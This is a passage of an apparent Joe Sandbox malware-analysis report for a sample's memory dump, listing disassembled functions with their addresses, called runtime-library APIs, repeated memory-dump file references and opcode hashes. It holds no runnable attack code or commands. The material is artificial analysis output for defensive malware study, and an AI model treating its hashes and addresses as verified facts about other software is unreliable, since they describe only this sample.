Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: f97d4599da598b88e2cdab96dd2d5b8ef1f15fa50ac17ed47a72b0be8718aa95
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: E5B101329042859FDB158F68C881BBEBFA5EF66340F1441AEE859EB241D734CD02CBE4

Function 001D67A9 Relevance: 6.2, APIs: 4, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 001D6902
__alloca_probe_16.LIBCMT ref: 001D6998
__freea.LIBCMT ref: 001D6A03
__freea.LIBCMT ref: 001D6A0F

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID:
API String ID: 1635606685-0
Opcode ID: b577e4e1be69f4fd0b7f65f035cfe49b5b2e571a8a4654b278dc68db8e8d94af
Instruction ID: a3b5401b3db344d5a56dd3f7eecceaa2f101f2499140e59c91c4c3552680e51e
Opcode Fuzzy Hash: b577e4e1be69f4fd0b7f65f035cfe49b5b2e571a8a4654b278dc68db8e8d94af
Instruction Fuzzy Hash: 2481BE72D0025AAFDF249EA48891EEF7BB9AF19354F19415BE840B7381E735CC44DBA0

Function 001C504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 001C5115
___AdjustPointer.LIBCMT ref: 001C5138
___AdjustPointer.LIBCMT ref: 001C51D4

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: cbbafca10b506e1185cc1e82f335e88af0ea8069d00ce3d543239b7e00d81841
Instruction ID: 47ff524e9f5610c7c0c1cf9e3d0968ca30f3342133f2bf4de6c0b60259914e1f
Opcode Fuzzy Hash: cbbafca10b506e1185cc1e82f335e88af0ea8069d00ce3d543239b7e00d81841
Instruction Fuzzy Hash: E551D172601A06AFDB298F54D885F7A77A6EF71300F19452DE8068B691E731FDD0CB90

Function 001C4C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 001C4C66
TypeidsEqual.LIBVCRUNTIME ref: 001C4C8B
PMDtoOffset.LIBCMT ref: 001C4CA1
PMDtoOffset.LIBCMT ref: 001C4D22

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction ID: 92d433851b25ab611e0027019b0da216087bdcf08fe804ce378e64afb0e00e19
Opcode Fuzzy Hash: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction Fuzzy Hash: 8F518A35A082499FDB10DFA8C4A0ABEBBF5EF35354B14449EE852A7360D732E944CB50

Function 00192EC0 Relevance: 6.1, APIs: 4, Instructions: 132threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00192F5F
GetCurrentThreadId.KERNEL32 ref: 00192F7E
__Mtx_unlock.LIBCPMT ref: 00192FCC
__Cnd_broadcast.LIBCPMT ref: 00192FE3

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastCurrentThread
String ID:
API String ID: 3264154886-0
Opcode ID: 79343bd9949bc7aae40968216d8392e81913f8086161d430ea4912d7586992a0
Instruction ID: 52654b6101f2ef9435f8a3f1fcd64e9b083566f85a6619644cb39e03b9675a51
Opcode Fuzzy Hash: 79343bd9949bc7aae40968216d8392e81913f8086161d430ea4912d7586992a0
Instruction Fuzzy Hash: 8541DEB0A00605AFDB20DF64C944B5AB7F8FF25320F04452AE82AD7780EB35EA04CBC1

Function 001BDB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 001BDB64

Part of subcall function 001B8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 001B8F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 001BDBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 001BDBE9
Concurrency::location::_Assign.LIBCMT ref: 001BDC56

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
